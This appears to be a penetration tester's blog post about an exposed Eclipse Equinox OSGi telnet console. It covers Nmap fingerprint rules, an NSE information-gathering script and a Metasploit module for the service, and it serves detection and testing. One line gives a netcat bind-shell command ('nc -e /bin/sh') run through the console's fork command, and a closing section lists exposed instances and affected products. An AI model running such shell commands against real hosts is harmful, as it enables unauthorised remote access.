I recently came upon a Telnet-based service that was previously unidentified by network scanning tools. This blog post describes my encounter with this service and how I used Nmap fingerprinting and scripting capabilities to add detection, and Metasploit to gain command execution on it.
First encounter
My first encounter with this service was from a Nessus scan reporting a Telnet service on some remote host. I simply connected to it:
telnet somehost.lan
Trying somehost.lan...
Connected to somehost.lan.
Escape character is '^]'.
osgi>
osgi> ?
gogo: CommandNotFoundException: Command not found: ?
osgi> h
h
headers
help
osgi> help
close - shutdown and exit
scope: equinox
--snip--
Interesting. A few minutes of google-fu later, I found some page describing that this service is an Eclipse Equinoxe OSGi console. I also found out that this OSGi console was used to dynamically load and execute Java based bundles such as IBM Websphere Extremescale.
So far so good. I tinkered with the console and found two interesting calls:
osgi> help exec
exec - execute a command in a separate process and wait
scope: equinox
parameters:
String command to be executed
osgi> help fork
fork - execute a command in a separate process
scope: equinox
parameters:
String command to be executed
Hosts were not hardened and netcat was already installed, so a simple fork "nc -e /bin/sh 4444"
and my bind shell was there. This could have been the end of the story but I wanted to add detection capabilities for this service to Nmap so we could detect it easily during future tests.
Test Environment Setup
My first step was to create a test environment on my own machine so I don’t end up taking down a service on some production system by mistake. For my test environment, I needed to download the Equinoxe SDK from Eclipse website at http://download.eclipse.org/equinox/drops/R-Oxygen.2-201711300510/index.php.
Unzip everything and create the following directory structure by copying the right jar files from the unzipped directory:
.
├── configuration
│ └── config.ini
├── org.apache.felix.gogo.command.jar
├── org.apache.felix.gogo.runtime.jar
├── org.apache.felix.gogo.shell.jar
├── org.eclipse.equinox.console.jar
├── org.eclipse.osgi_3.12.50.v20170928-1321.jar
└── plugins
The configuration file should contain the following entries:
Once everything was in place, I checked that it actually worked by launching it:
java -jar org.eclipse.osgi_3.12.50.v20170928-1321.jar -console 5555
For those who want to follow along, you can download an install script gist I wrote. It’s available at https://gist.github.com/QKaiser/66c8a618eef2a7801c0bbb1aa43d724a
Writing Nmap Fingerprint Rules
When fingerprinting services, Nmap executes different kind of probes (e.g. NULL
, GenericLines
, GetRequest
, …) over either TCP or UDP and then waits for a reply until a specific timeout is reached. It then compares the received data to regular expressions that are defined in a plaintext file named nmap-service-probes.
We will make use of the NULL
probe and try to match what is returned by the OSGi console. The pattern matching should be a simple line like this one:
I initially thought that the rule above would trigger a match, but it didn’t. Let’s see why by launching Wireshark and looking at what happens when we connect to the service:
As we can see in the output above, the service expect us to negotiate the terminal type. Given that we use Nmap’s NULL
probe we will never reach the point where IAC negotiation finish and the service present us with the osgi>
prompt.
The trick here is to simply use a matching rule on that Telnet payload that always stays the same (I checked on different kind of systems and operating systems) and that - from a long stare at Nmap’s fingerprints - is surprisingly unique.
Let’s get the data from Wireshark:
And put it into Nmap’s fingerprint file:
Next attempt: it works \o/
$ nmap -sV -p5555 -Pn 127.0.0.1
Starting Nmap 7.00 ( https://nmap.org ) at 2018-01-29 18:30 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.00012s latency).
PORT STATE SERVICE VERSION
<p style="color:yellow">5555/tcp open telnet Eclipse Equinoxe OSGi Shell (direct mode)</p>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
I later discovered that OSGi console can run in what they call “telnetd mode”. This can be done by issuing the following command:
osgi> telnetd start
telnetd is running on 127.0.0.1:2019
When connecting to the service over the telnetd mode port, IAC negotiation of terminal type is not enforced and we are greeted with osgi>
automagically. I therefore kept both matching rules:
Again, a quick check with Nmap to demonstrate that it actually works:
$ nmap -sV -p2019,5555 -Pn 127.0.0.1
Starting Nmap 7.00 ( https://nmap.org ) at 2018-01-29 18:36 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.00011s latency).
PORT STATE SERVICE VERSION
<p style="color:yellow">2019/tcp open telnet Eclipse Equinoxe OSGi Shell (telnetd mode)
5555/tcp open telnet Eclipse Equinoxe OSGi Shell (direct mode)</p>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds
Writing an NSE Script
The next idea that came to mind was to write an Nmap NSE script that would gather information from the remote system by using OSGI console’s getprop
command. Among the list of properties dumped by this command, most interesting ones are the OS version and architecture, Java runtime and VM versions, and the user running the service.
The idea behind that is to be able to execute OS dependent payloads without the need for a full blown OS version scan (I already had Metasploit in mind at the time), but most importantly check if the service runs as a privileged user.
Nmap’s documentation is great but at the beginning I would have liked to have a step by step guide on how to write a script from beginning to end, so that’s what I’m going to do here :)
Let’s start with the usual: some imports, a description, sample output, author, licence, and categories:
The next thing you need to do is use shortport to tell Nmap on which kind of service this script should be ran. Here we choose telnet services:
You can consider the action
function as your main
if you were writing C code. Comments should explain everything:
It took me some time to figure this out. It basically loop over an iterator that returns all key/values matched from the properties list returned by the OSGi console and put them in an indexed array:
We then store interesting data in result
, which is an indexed array printed by Nmap as the result of our script.
Finally, we gracefully disconnect from the console like decent human beings:
That’s it. Let’s try it:
$ nmap -sV -p 5555 --script osgi-info -Pn -n 127.0.0.1
Starting Nmap 7.00 ( https://nmap.org ) at 2018-01-30 21:37 CET
Nmap scan report for 127.0.0.1
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
5555/tcp open telnet Eclipse Equinoxe OSGi Shell (direct mode)
<p style="color:yellow">| osgi-info:
| username: quentin
| OS Version: Linux 4.4.0-38-generic (amd64 little endian)
| Java Runtime: 1.8.0_101-b13 (Java(TM) SE Runtime Environment)
|_ Java VM: 25.101-b13 (Java HotSpot(TM) 64-Bit Server VM)</p>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
Yay ! I’m keeping an eye on pull requests #1123 and #1124, hopefully my code will be included in Nmap at some point :)
Metasploit module
~I’m tidying up my Metasploit module for this service at the moment. Once it lands on master I’ll edit this post with more details.~
Thanks to the wonderful people maintaining Metasploit, my module landed some time ago. Usage is straightforward:
Mandatory Shodan Search
If you search for the terms “osgi” and “eclipse” on shodan, you get 23 results. Please make sure you’re not in charge of one of them.
Conclusion
Well, this was a fun ride ! I never had the opportunity to modify Nmap to suit my needs or even needed to write NSE scripts and this new service was the perfect opportunity. The experience was so fun that I’m now looking at open issues on Nmap tracker to see if I could be of any help.
As for the OSGi service in itself, it is difficult to say if pentesters will find it often during engagement. After some research, it appears that multiple software companies and software products include it. Sometimes only when a debug flag is enabled. So far I have this list of products where OSGi console is bundled with:
- WSO2 (if launched with
-DosgiConsole
) - http://www.rukspot.com/osgiconsole.html - Liferay (with some modifications) - https://web.liferay.com/web/raymond.auge/blog/-/blogs/liferay-osgi-and-shell-access-via-gogo-shell
- TIBCO products - https://docs.tibco.com/pub/activematrix_businessworks/6.1.1/doc/html/GUID-780D3F2B-CE92-4D1B-AD93-8DDDFCD5D690.html
- Redhat Fuse ESB - https://access.redhat.com/documentation/en-US/Fuse_ESB_Enterprise/7.1/html/Console_Reference/files/Consoleosgi.html - It appears OSGi is used as runtime but not all features are available and only over Apache Mina SSHd implementation.
- Eclipse Kura (in debug mode ?) - https://github.com/eclipse/kura/blob/f48bc88940a2a3f75a8d359dbfd43f75da159ecb/kura/distrib/src/main/resources/Win64-nn/start_kura_debug.bat
- …
If you have questions, do not hesitate to contact me via Twitter/Email/Comments. I’ll do my best to answer them.